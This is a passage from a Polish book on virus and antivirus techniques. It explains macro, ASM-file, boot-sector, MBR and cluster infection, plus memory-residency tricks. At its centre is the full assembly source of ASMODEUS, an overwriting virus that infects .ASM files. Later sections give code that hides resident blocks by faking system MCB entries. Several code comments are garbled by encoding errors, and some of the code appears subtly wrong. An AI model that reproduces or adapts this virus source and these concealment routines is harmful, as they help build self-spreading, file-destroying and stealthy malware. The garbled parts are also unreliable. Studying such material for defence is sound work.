innych języków zmieniają się nazwy procedur oraz szablonów).
Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego
wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth).
Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas
kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze
zawartości takich makr.
4.1.7. Pliki XLS
Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr,
które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS
Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik
PERSONAL.XLS, inne jest też nazewnictwo makr. Sam sposób działania jest w
zasadzie identyczny. Poniższa tabela zawiera krótki opis makr automatycznych,
dostępnych w Excelu.
Makra MS Excela o ustalonym znaczeniu
Nazwa makra
Opis makra
auto_open
uruchamiane podczas rozpoczynania pracy
z Excelem
auto_close
uruchamiane podczas zamykania arkusza
4.1.8. Pliki ASM
Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału.
Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe.
Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do
zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem
wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program
może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później
dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania.
Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a
więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma
dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać
szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do
zarażanego programu.
Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w
efekcie niszczącego pliki).
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; ASMODEUS v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus nierezydentny, nadpisujacy, atakujacy
pliki ASM ;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
;
;
; Kompilacja :
;
; TASM ASMODEUS.ASM
;
; TLINK /t ASMODEUS.OBJ
;
;
;
;----------------------------------------------------------------
------------;
.286p
ASMODEUS SEGMENT
JUMPS
ASSUME CS:ASMODEUS, DS:ASMODEUS
ORG 100h
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale
atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden +
AtrVolumeID
; atrybut poszukiwanej
pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-
ASMNaglowek_Start)
; dlugosc dyrekty z
poczatku
; pliku ASM (ASSUME,
ORG, itd.)
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-
ASMKoncowka_Start)
; dlugosc dyrekty z
konca
; pliku ASM (ENDS,
END)
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora
transmisji
; dyskowych uzywanych
przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej
pozycji
DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 (?) ; nazwa znalezionej
pozycji
DTAStruc ends
NoweDTA equ 80h
VirusStart: ; tu zaczyna sie kod
wirusa
lea dx,TeInformacja ; podaj, gdzie jest
tekst
Call Informacja ; spytaj o
uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie
uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,MaskaASM ; maska poszukiwanych
plikow '*.ASM'
mov cx,Atrybut ; podaj atrybut
poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj
pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik
jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj
nastepnego
mov cx,AtrArchive ; podaj nowy atrybut :
Archive
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do
odczytu
mov ax,3d02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt
pliku do BX
mov cx,ASMNaglowek_Rozmiar ; ile zapisac
lea dx,ASMNaglowek_Start ; skad pobrac dane
mov ah,40h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
cld ; operacje na
lancuchach do przodu
push bx ; zachowaj uchwyt
pliku
lea di,Bufor ; gdzie zapisywac
wynik
lea bx,Hex ; gdzie znajduje sie
tablica
; translacji na znaki
heksalne
lea si,VirusStart ; gdzie zaczyna sie
kod
mov cx,VirusDlug ; ilosc bajtow do
konwersji
RobHex:
mov ax,'BD' ; \
stosw ; \ zapisz sekwencje
mov ax,'0 ' ; / 'db 0'
stosw ; /
lodsb ; pobierz bajt kodu
mov ah,al ; zapamietaj na
pozniej
shr al,4 ; pobierz 4 gorne bity
bajtu kodu
xlatb ; wez odpowiadajcy mu
znak
stosb ; heksalny i zapisz go
mov al,ah ; wez zapamietany bajt
kodu
and al,15 ; pobierz 4 dolne bity
bajtu kodu
xlatb ; wez odpowiadajcy mu
znak
stosb ; heksalny i zapisz go
; teraz bufor= 'db
0??'
mov al,'h' ; zapisz 'h' w buforze
stosb
; teraz bufor='db
0??h'
mov ax,0A0Dh ; zapisz znaki CR,LF
stosw
; teraz bufor='db
0??h',CR,LF
loop RobHex ; przetwarzaj caly kod
programu
pop bx ; przwyroc uchwyt
pliku
sub di,offset Bufor ; oblicz, ile bajtow
zajmuje bufor
mov cx,di ; ile bajtow zapisac
lea dx,Bufor ; podaj, skad zapisac
wirusa
; jako ciag DB ?,?,
... ?,?,?
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ASMKoncowka_Rozmiar ; ile zapisac
lea dx,ASMKoncowka_Start ; skad pobrac dane
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z
bufora DTA
mov dx,VZnacznik ; zaznacz infekcje
pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl
zarazony
mov ah,4Fh ; funkcja DOS - szukaj
innego
; plik ASM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
PrzywrocAtrybut:
mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut,
CH=0
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h
BezInfekcji:
ret ; koncz program, skocz
do PSP:100h
; do rozkazu Int 20h
MaskaASM db '*.ASM' ; maska plikow ASM
(ASCIIZ)
ASMNaglowek_Start:
db 'V SEGMENT',CR,LF
db 'ORG 100h',CR,LF
db 'Start:',CR,LF
ASMNaglowek_Koniec:
ASMKoncowka_Start:
db 'V ENDS',CR,LF
db 'END Start',CR,LF
ASMKoncowka_Koniec:
Hex db '0123456789ABCDEF'
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS -
wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj
znak
; ze standardowego
wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile
znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na
wielka litere
cmp al,'T' ; czy potwierdzona
infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i
powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk
1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
Bufor db 32768 dup (?)
ASMODEUS ENDS
END VirusStart
4.2. Sektory systemowe
Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji
wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw
sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę
dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku
zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne
struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu
odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych
systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi
już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na
załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano
poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i
logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie
właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z
tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-
sektorem. Dokładniejszy ich opis znajduje się dalej.
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR)
Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia
dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany
sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na
logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki
programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z
niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości
tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach.
Format głównego rekordu ładującego (MBR)
Adres
Zawartość
000
Program wczytujący system z aktywnej partycji dysku twardego
1BE
Opis strefy nr 1
1CE
Opis strefy nr 2
1DE
Opis strefy nr 3
1EE
Opis strefy nr 4
1FE
Bajty 055h i 0AAh
Opis jednej strefy w tablicy partycji
Adres
Zawartość
00
Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego
80h - strefa zawiera system operacyjny
01
Numer głowicy, pod którą zaczyna się strefa
02-03
Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane
następująco (litery odpowiadają kolejnym bitom):
bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss =
numer sektora (0-63) CCcccccccc = numer cylindra (0-1023)
04
Rodzaj strefy (wg następnej tablicy)
05
Numer głowicy, pod którą kończy się strefa
06-07
Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo
jak w polu 02h-03h
08-0B
Względny numer sektora rozpoczynającego strefę
0C-0F
Długość strefy w sektorach
Rodzaje stref wg bajtu z pola 04h w opisie strefy
Bajt Rodzaj strefy
00h pusta
01h DOS 12-bit FAT
02h XENIX
03h XENIX /usr
04h DOSl6-bitFAT(do32M)
05h DOS 3.3+ rozszerzona partycja
06h DOS 3.31 + Large File System (16-bit FAT)
07h QNX
07h OS/2 HPFS
07h Windows NT NTFS
07h Advanced Unix
08h OS/2 (tylko v1.0-1.3)
08h AIX
08h Commodore DOS
08h DELL
09h AIX
09h Coherent
0Ah OS/2 Boot Manager
0Ah OPUS
0Ah Coherent
0Bh Windows 95 - 32-bit FAT
0Ch Windows 95 - 32-bit FAT (LBA)
0Eh zarezerwowane przez Microsoft dla VFAT
0Fh zarezerwowane przez Microsoft dla VFAT
10h OPUS
11h OS/2 Boot Manager 12-bit FAT
12h partycja Compaq Diagnostics
14h tworzy ją Noyell DOS 7.0 FDISK
14h OS/2 Boot Manager
16h OS/2 Boot Manager
17h OS/2 Boot Manager HPFS
18h AST Windows plik wymiany
21h zarezerwowana
23h zarezerwowana
24h NEC MS-DOS 3.x
26h zarezerwowana
31h zarezerwowana
33h zarezerwowana
34h zarezerwowana
36h zarezerwowana
3Ch PowerQuest
40h VENIX 80286
41h Persona! RISC Boot
42h SFS (Secure File System)
50h OnTrack Disk Manager
51h OnTrack Disk Manager
51h NOYELL
52h CP/M
52h Microport System V/386
53h OnTrack Disk Manager
54h OnTrack Disk Manager (DDO)
56h GoldenBow VFeature
61h SpeedStor
63h Unix SysV/386
63h Mach
64h Novell NelWare 286
65h NovetlNetWare(3.11)
67h Novell
68h Novell
69h Novell _
70h DiskSecure Multi-Boot
71h zarezerwowana
73h zarezerwowana
74h zarezerwowana
75h PC/lX
76h zarezerwowana
80h Minixv1,1 - 1.4a
81h Minixv1.4b+
81h Linux
81h Mitac Advanced Disk Manager
82h Linux Swap
82h Prime
83h Linux native file system
84h OS/2
86h zarezerwowana
87h HPFS Fault-Tolerant
93h Amoeba file system
94h Amoeba bad błock table
A1h zarezerwowana
A3h zarezerwowana
A4h zarezerwowana
A5h FreeBSD
A6h zarezerwowana
B1h zarezerwowana
B3h zarezerwowana
B4h zarezerwowana
B6h zarezerwowana
B7h BSDI file system
B8h BSDI plik wymiany
C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT
C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT
C6h DR DOS 6.0 LOGlN.EXE Huge
C7h Syrinx Boot
D8h CP/M-86
DBh CP/M
DBh CTOS (ConvergentTechnologies OS)
E1h SpeedStor 12-bit FAT rozszerzona partycja
E3h DOS tylko do czytania
E3h Storage Dimensions
E4h SpeedStor 16-bit FAT rozszerzona partycja
E5h zarezerwowana
E6h zarezerwowana
F1h Storage Dimensions
F2h DOS 3.3+
F3h zarezerwowana
F4h SpeedStor
F4h Storage Dimensions
F6h zarezerwowana
FEh LANstep
FEh IBM PS/2 IML
FFh Xenix
Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały
adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym
sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji.
Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w
polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa
aktywna i można z niej załadować system operacyjny.
Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w
niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w
innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy
funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z
powrotem na dysk przy użyciu funkcji (03/13).
Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po
restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i
sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a
(poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie
kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje
obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres
0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje
normalne wczytywanie systemu.
4.3. Rekord ładujący (ang. BOOT-sector)
Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej:
wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO
(a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero
program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku
systemu DOS - najczęściej IO.SYS).
Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek
BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak
widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a
jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.
Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych
część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku
BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.
Zawartość BOOT-sektora przedstawiono w poniższej tabeli.
Zawartość BOOT-sektora
Adres
Zawartość
00-02
Instrukcja skoku do programu ładującego system, najczęściej
(OEBh ?? 90h). czyli JMP SHORT
03-0A
Nazwa wersji systemu (jako łańcuch ASCII)
Początek bloku BPB
+
0B-0C
Wielkość sektora w bajtach
0E-0F
Liczba sektorów zarezerwowanych na początku dysku
10
Liczba kopii FAT
11-12
Maksymalna liczba plików w katalogu głównym
13-14
Całkowita liczba sektorów na dysku logicznym (nie używane)
15
Bajt identyfikacji nośnika
16-17
Liczba sektorów zajętych przez FAT
18-19
Liczba sektorów na ścieżce
1A-1B
Liczba głowic dysku
1C-1D
Koniec bloku BPB
24
Numer fizyczny dysku
25
Zarezerwowane
26
Rozszerzony znacznik BOOT-sektora
27-2A
Numer woluminu
2B-35
Etykieta dysku
36-3D
Typ FAT zapisany jako łańcuch ASCII
??-1FF
Program wczytujący system
Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie
oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w
przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora
łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń
związanych z translacją sektorów logicznych na fizyczne.
4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)
Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne
ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę
jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje
pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang.
File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji
Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o
ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu
0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego
długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez
rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić
końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku
wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być
porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko
czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość
pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego
pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych
odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych
zawartych w tablicy FAT.
Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku
(najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując
na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i
w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma
następnie możliwość wczytania dalszej części programu na podsta
wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu
zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych
procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej
realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk,
zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych
przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie
dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi
dysku logicznego przez system (część danych znajduje się w bloku BPB dysku,
zawartego w BOOT-sektorze).
Pełny opis bloku DPB zawarto w poniższej tabeli.
Format bloku DPB
Adres
Zawartość
00
Numer dysku A:=0, B:=1, C:=2
01
Numer jednostki w programie obsługi
02-03
Wielkość sektora w bajtach
05
log2 (liczba sektorów w JAP)
06
Liczba zarezerwowanych sektorów na początku dysku
08
Ilość kopii tablicy FAT (najczęściej 2)
09-0A
Maksymalna ilość plików w katalogu głównym
0B-0C
Pierwszy sektor danych
0F-10
Liczba sektorów na FAT
11-12
Numer pierwszego sektora katalogu
13-16
Daleki wskaźnik do programu obsługi dysku
17
Bajt identyfikacji nośnika
18
Znacznik dostępu do dysku
19-1C
Daleki wskaźnik do następnego bloku DPB
1D-1E
Numer pierwszej wolnej JAP na dysku
1F-20
Liczba wolnych JAP na dysku
Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na
podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do
kolejnych bloków DPB. Realizuje to poniższa sekwencja:
Przeszukiwanie łańcucha DPB
mov AH,52h ; funkcja DOS - pobierz adres do listy
list (LL)
INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera
adres do LL, w
; komˇrkach od ES:[BX] do ES:[BX+3]
znajduje
; siŕ daleki wskačnik do pierwszego DPB
LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB
NastŕpnyDPB: ; pocz╣tek pŕtli
LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi
LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastŕpny
bloku DPB, je┐eli jest
; to ostatni blok, to ES i BX zawieraj╣
OFFFFh,
MOV AX,ES
; weč segment
CMP AX,0FFFFh ; czy ES=OFFFFh ?
JNZ NastŕpnyDPB ; jeťli nie, to jest jeszcze kolejny DPB
CMP BX,AX ; czy BX=OFFFFh?
JNZ NastŕpnyDPB ; jeťli nie, to jest jeszcze kolejny DPB
4.5. Wirusy kombinowane (ang: multipartition)
Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów.
W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy
partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu
multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego
typu bardzo szybko rozprzestrzeniają się w systemie komputerowym.
Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich
zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi
wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby
nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych
przez system obszarów pamięci.
Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie
zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się
prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura
obsługi przejętego przerwania).
ROZDZIAŁ 5
5.1. Instalacja w tablicy wektorów przerwań
W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących
się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak
sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to
większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w
obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić
kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie,
potrzebujące do swych celów małego obszaru pamięci operacyjnej,
5.2. Instalacja w obszarze zmiennych DOS
W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar
wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne
dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci
systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa.
5.3. Instalacja w pamięci poniżej 640kB i UMB
Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z
których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock).
Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16
bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od
granicy paragrafu.
Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB -
LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang.
Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli.
Format MCB
Adres
Zawartość
00
Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza
ostatni blok w łańcuchu
01-02
Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego
właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment
niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie
niewidoczny dla programów przeglądających pamięć (dokładniej: będzie
widoczny, ale będzie traktowany jako integralna część systemu)
03-04
Rozmiar bloku w 16-bajtowych paragrafach
05-07
Zarezerwowane dla systemu
08-0F
8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych.
Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w
to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to
skrót od System Code. a SD od System Data)
Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej
polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków
MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku
MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX
znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się
informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy,
poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość
realizuje się za pomocą następującej sekwencji:
; Poszukiwanie ostatniego bloku w │a˝cuchu mcb
MOV AH,52H ; funkcja DOS - weč adres do listy
; list (ll)
INT 21H ; wywo│aj funkcjŕ
MOV AX,ES:[BX-2] ; AX=adres segmentowy pierwszego MCB
NAST╩PNY:
MOV DS,AX ; ds wskazuje na sprawdzany blok MCB
CMP BYTE PTR DS:[0], Z ; czy ostatni blok ?
JE OSTATNI ; skocz, jeťli tak
INC AX ; dodaj rozmiar MCB (16 bajtˇw=1
paragraf)
ADD AX, DS:[3] ; dodaj d│ugoťŠ bloku zarz╣dzanego przez
MCB
JMP SHORT NASTEPNY ; sprawdč nastŕpny blok
OSTATNI: ; ds wskazuje na ostatni blok
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach
16 bajtowych)
SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniŠ adres pamiŕci
niedostŕpnej dla
;programu w PSP bie┐╣cego procesu
Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez
zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca
sekwencja:
; Zmniejszenie bloku przydzielonego aktualnemu procesowi
MOV AH,62h ; funkcja DOS - weč adres PSP
aktualnego procesu
INT 21h ; uruchom funkcjŕ DOS, BX zawiera
adres PSP
DEC BX ; BX-1 zawiera adres MCB, bŕd╣cego
w│aťcicielem bloku MOV DS,BX ; DS wskazuje na
MCB
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w
paragrafach 16 bajtowych) SUB DS:[12h], ROZMIAR ; warto
tak┐e zmieniŠ adres pamiŕci niedostŕpnej dla
; programu w PSP bie┐╣cego procesu
Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu
(48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja
polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok
ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać
dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe,
na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające
pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD'
[odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang.
System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy
przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca
sekwencja:
; Tworzenie sztucznego bloku systemowego
MOV BX,ROZMIAR ; BX = rozmiar ┐╣danej pamiŕci
